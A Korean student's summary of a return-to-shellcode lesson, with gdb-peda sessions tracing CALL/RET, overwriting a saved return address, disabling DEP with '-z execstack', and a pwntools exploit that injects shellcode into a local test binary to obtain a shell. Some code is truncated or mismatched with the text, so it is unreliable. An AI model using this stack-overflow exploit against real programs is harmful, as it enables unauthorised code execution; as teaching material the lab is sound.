02.Return to Shellcode 요약

12191604 박세웅

1. return to shellcode

Return to Shellcode 란 Return address 영역에 Shellcode 가 저장된 주소로 변경해, Shellcode 를 호출하는 방식이다.

CALL & RET instruction

Call 명령어는 return address 를 stack 에 저장하고,피연산자 주소로 이동한다.

Ret 명령어는 pop 명령어를 이용해 rsp 레지스터가 가리키는 stack 영역에 저장된 값을 rip 에 저장 후, 해당 주소로 이동한다

즉 stack 영역에 저장된 return address 값을 변경할 수 있다면 프로그램의 흐름을 변경 할 수 있따.

Proof of concept

Call.ret 명령어 알아보기!

Main () 함수에서 vuln() 함수를 호출하는 단순한 코드이며, vuln() 함수는 아무런 동작을 하지 않는다.

Break point 를 설정

```
lazenca0x0@ubuntu:~/Exploit$ gcc -fno-stack-protector -o test test.c
lazenca0x0@ubuntu:~/Exploit$ gdb -q ./test
Reading symbols from ./test...(no debugging symbols found)...done.
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x00000000004004dd <+0>:   push   rbp
   0x00000000004004de <+1>:   mov    rbp,rsp
   0x00000000004004e1 <+4>:   mov    eax,0x0
   0x00000000004004e6 <+9>:   call   0x4004d6 <vuln>
   0x00000000004004eb <+14>:  nop
   0x00000000004004ec <+15>:  pop    rbp
   0x00000000004004ed <+16>:  ret
End of assembler dump.
gdb-peda$ b *0x00000000004004e6
Breakpoint 1 at 0x4004e6

gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x00000000004004d6 <+0>:   push   rbp
   0x00000000004004d7 <+1>:   mov    rbp,rsp
   0x00000000004004da <+4>:   nop
   0x00000000004004db <+5>:   pop    rbp
   0x00000000004004dc <+6>:   ret
End of assembler dump.
gdb-peda$ b *0x00000000004004d6
Breakpoint 2 at 0x4004d6

gdb-peda$ b *0x00000000004004dc
Breakpoint 3 at 0x4004dc
gdb-peda$
```

0X4004e6 함수를 호출하는 call 명령어

Call 명령어 다음 명령어의 위치 : 0x4004eb

0x4004d6 vuln 함수의 첫번째 명령어

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/test
Breakpoint 1, 0x00000000004004e6 in main ()
gdb-peda$ i r rsp
rsp            0x7fffffffe4b0   0x7fffffffe4b0
gdb-peda$ x/gx 0x7fffffffe4b0
0x7fffffffe4b0: 0x00000000004004f0
gdb-peda$ c
Continuing.

Breakpoint 2, 0x00000000004004d6 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe4a8   0x7fffffffe4a8
gdb-peda$ x/gx 0x7fffffffe4a8
0x7fffffffe4a8: 0x00000000004004eb
gdb-peda$
```

call 명령어의 동작을 확인

vuln() 함수의 호출 전 RSP 레지스터가 가리키는 Stack 의 위치는 0x7fffffffe4b0 이며, 해당 영역에 저장되어 있는 값은 0x4004f0 이다.

vuln() 함수의 호출 후 RSP 레지스터가 가리키는 Stack 의 위치는 0x7fffffffe4a8 이며, 해당 영역에 저장되어 있는 값은 0x4004eb 이다

즉, CALL 명령어에 의해 Stack 에 호출된 함수가 종료된 후에 이동할 주소 값을 저장한다.

```
Breakpoint 3, 0x00000000004004dc in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe4a8   0x7fffffffe4a8
gdb-peda$ x/gx 0x7fffffffe4a8
0x7fffffffe4a8: 0x00000000004004eb
gdb-peda$ ni
0x00000000004004eb in main ()
gdb-peda$ i r rip
rip            0x4004eb 0x4004eb <main+14>
gdb-peda$ i r rsp
rsp            0x7fffffffe4b0   0x7fffffffe4b0
gdb-peda$ x/gx 0x7fffffffe4b0
0x7fffffffe4b0: 0x00000000004004f0
gdb-peda$
```

ret 동작 확인

RET 명령어가 실행 후 RSP 레지스터가 가리키는 Stack 의 위치는 0x7fffffffe4b0 이며, 해당 영역에 저장되어 있는 값은 0x4004f0 이다.

RET 명령어에 의해 CALL 명령어 다음 명령어(0x4004eb)가 있는 곳으로 이동한다.

RET 명령어에 의해 Stack 에 저장된 값을 주소 값을 RIP 레지스터에 저장하여 해당 주소로 이동하게 된다.

즉, Stack 에 저장된 Return address 를 변경 할 수 있다면, 공격자는 원하는 영역으로 이동 할 수 있다.

```
Breakpoint 3, 0x00000000004004dc in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe488   0x7fffffffe488
gdb-peda$ x/gx 0x7fffffffe488
0x7fffffffe488: 0x00000000004004eb
gdb-peda$ set *0x7fffffffe488 = 0x4004d6
gdb-peda$ x/gx 0x7fffffffe488
0x7fffffffe488: 0x00000000004004d6
gdb-peda$ ni
0x00000000004004d6 in vuln ()
gdb-peda$ i r rip
rip            0x4004d6 0x4004d6 <vuln>
gdb-peda$
```

stack overwrite에 의해 return address 영역으로 이동한다

Return address 영역(0x7fffffffe488)에 저장되어 있던 값은 main+14(0x4004eb) 이다.

Stack overflow 에 의해 해당 값(0x4004eb)을 0x4004d6(vuln+0) 으로 변경될 수 있다.

아래 예제에서는 편의를 위해 gdb 의 set 명령어를 이용해 값을 변경하였다.

RET 명령어는 RSP 레지스터가 가리키는 주소의 값이 0x4004d6 이기 때문에 0x4004d6 영역으로 이동합니다.

즉, Return address 영역에 Shellcode 가 저장된 주소로 저장하면, 해당 영역으로 이동하게 된다.

2. permissions in memory.

프로그램에 사용되는 메모리 영역은 모두 권한이 설정되어있다.

Read(R) : 메모리 영역의 값을 읽을 수 있다.

write(w) : 메모리 영역에 값을 저장 할 수 있다. .

excute(x) : 메모리 영역에서 코드를 실행 할 수 있다.

Gcc 는 기본적으로 dep(데이터 실행 방지)가 적용되어 코드가 저장된 영역에만 실행권한이 설정되며 데이터가 저장되는 영역에는 실행권한이 설정되지 않는다.

즉, shellcode 를 실행하기 위해 shellcode 가 저장된 영역은 excute 권한이 설정되어 있어야한다.

DEP 를 해제하기 위해 GCC 옵션으로 "-z execstack" 를 추가해야 한다.

해당 옵션으로 인해 데이터 저장 영역에도 excute 권한이 설정되어 있다..

즉, Stack 에 저장된 Shellcode 를 실행 될 수 있다.

3.proof of concept

Return to shellcode 를 확인하기 위해 다음코드를 사용

```
#include <stdio.h>
#include <unistd.h>

void vuln(){
}

void main(){
    vuln();
}
```

main() 함수는 vuln() 함수를 호출한다.

vuln() 함수는 read() 함수를 이용해 사용자로 부터 100 개의 문자를 입력받는다.

여기에서 취약성이 발생합니다. buf 변수의 크기는 50byte 이기 때문에 Stack Overflow 가 발생한다.

```
lazenca0x0@ubuntu:~/Exploit/shellcode$ gcc -z execstack -fno-stack-pr
lazenca0x0@ubuntu:~/Exploit/shellcode$ gdb -q ./poc
Reading symbols from ./poc...(no debugging symbols found)...done.
gdb-peda$ disassemble vuln
Dump of assembler code for function vuln:
   0x0000000000400566 <+0>:   push   rbp
   0x0000000000400567 <+1>:   mov    rbp,rsp
   0x000000000040056a <+4>:   sub    rsp,0x40
   0x000000000040056e <+8>:   lea    rax,[rbp-0x40]
   0x0000000000400572 <+12>:  mov    rsi,rax
   0x0000000000400575 <+15>:  mov    edi,0x400634
   0x000000000040057a <+20>:  mov    eax,0x0
   0x000000000040057f <+25>:  call   0x400430 <printf@plt>
   0x0000000000400584 <+30>:  lea    rax,[rbp-0x40]
   0x0000000000400588 <+34>:  mov    edx,0x64
   0x000000000040058d <+39>:  mov    rsi,rax
   0x0000000000400590 <+42>:  mov    edi,0x0
   0x0000000000400595 <+47>:  call   0x400440 <read@plt>
   0x000000000040059a <+52>:  nop
   0x000000000040059b <+53>:  leave
   0x000000000040059c <+54>:  ret
End of assembler dump.
gdb-peda$ b *0x400566
Breakpoint 1 at 0x400566
gdb-peda$ b *0x400595
Breakpoint 2 at 0x400595
gdb-peda$ b *0x40059c
Breakpoint 3 at 0x40059c
gdb-peda$
```

위에서 처럼 break point 설정

0x400566 : vuln 함수의 첫번째 명령어

0x400595 : read() 함수 호출

0x40059c : vuln() 함수의 ret 명령어

```
gdb-peda$ r
Starting program: /home/lazenca0x0/Exploit/shellcode/poc

Breakpoint 1, 0x0000000000400566 in vuln ()
gdb-peda$ i r rsp
rsp            0x7fffffffe448   0x7fffffffe448
gdb-peda$ x/gx 0x7fffffffe448
0x7fffffffe448: 0x00000000004005ab
gdb-peda$ disassemble main
Dump of assembler code for function main:
   0x000000000040059d <+0>:   push   rbp
   0x000000000040059e <+1>:   mov    rbp,rsp
   0x00000000004005a1 <+4>:   mov    eax,0x0
   0x00000000004005a6 <+9>:   call   0x400566 <vuln>
   0x00000000004005ab <+14>:  nop
   0x00000000004005ac <+15>:  pop    rbp
   0x00000000004005ad <+16>:  ret
End of assembler dump.
gdb-peda$
```

Return address 확인

RSP 레지스터가 가리키고 있는 최상위 Stack 메모리는 0x7f ffffffe448 이다.

해당 메모리에 vuln() 함수 종료 후 돌아갈 코드영역의 주소 값(0x4005ab)이 저장되어 있다.

```
gdb-peda$ c
Continuing.
buf[50] address : 0x7fffffffe400

Breakpoint 2, 0x0000000000400595 in vuln ()
gdb-peda$ i r rsi
rsi            0x7fffffffe400   0x7fffffffe400
gdb-peda$ p/d 0x7fffffffe448 - 0x7fffffffe400
$1 = 72
gdb-peda$ ni
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDDEEEEEEEEFFFFFFFFGGGGGGGGHHHHHHHHIIIIIJ
gdb-peda$ x/10gx 0x7fffffffe400
0x7fffffffe400: 0x4141414141414141  0x4242424242424242
0x7fffffffe410: 0x4343434343434343  0x4444444444444444
0x7fffffffe420: 0x4545454545454545  0x4646464646464646
0x7fffffffe430: 0x4747474747474747  0x4848484848484848
0x7fffffffe440: 0x4949494949494949  0x4a4a4a4a4a4a4a4a
gdb-peda$
```

다음과 같이 buf 변수의 주소를 확인 할 수 있다.

burf 변수의위치는 0x7fffffffe400 이며, Return address 위치와 72byte 떨어져 있다.

즉, 사용자 입력 값으로 문자를 72 개 이상 입력하면, Return address 를 덮어 쓸 수 있다.

```
Breakpoint 3, 0x000000000040059c in vuln ()
gdb-peda$ x/gx 0x7fffffffe448
0x7fffffffe448: 0x4a4a4a4a4a4a4a4a
gdb-peda$ x/s 0x7fffffffe448
0x7fffffffe448: "JJJJJJJJKKKKKKKK\n177\377\367\377"
gdb-peda$
```

return address 값 변경 확인

0x7fffffffe448 영역에 0x4a4a4a4a4a4a4a4a(JJJJJJJJ)가 저장되어 있다.

즉, 72 개의 문자를 입력 후 shellcode 가 저장된 주소를 저장하면 Return address 를 덮어 쓸 수 있다.

4.Exploit

```
from pwn import *

p = process('./poc')
p.recvuntil('buf[50] address : ')
stackAddr = p.recvuntil('\n')
stackAddr = int(stackAddr,16)

exploit = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xc
exploit += "\x90" * (72 - len(exploit))
exploit += p64(stackAddr)
p.send(exploit)
p.interactive()
```

이 exploit code를 실행하여 shell을 획득한다.

```
lazenca0x0@ubuntu:~/Exploit/shellcode$ python exploit.py
[+] Starting local process './test': pid 111702
[*] Switching to interactive mode
$ id
uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(ad
$
```

5.protection

Memory 영역에서 코드가 실행되는 것을 차단하기 위해 NX Bit(DEP)를 적용 할 수 있다.

NX Bit(DEP)란?

일단 NX Bit란?

프로세스 명령어나 코드 또는 데이터 저장을 위한 메모리 영역을 따로 분리하는 CPU 의 기술이다.

NX 특성으로 지정된 모든 메모리 구역은 데이터 저장을 위해서만 사용되며, 프로세서 명령어가 그 곳에 상주하지 않음으로써 실행되지 않도록 만들어 준다

DEP 는?

마이크로소프트 윈도우 운영 체제에 포함된 보안 기능이며, 악의적인 코드가 실행되는 것을 방지하기 위해 메모리를 추가로 확인하는 하드웨어 및 소프트웨어 기술입니다.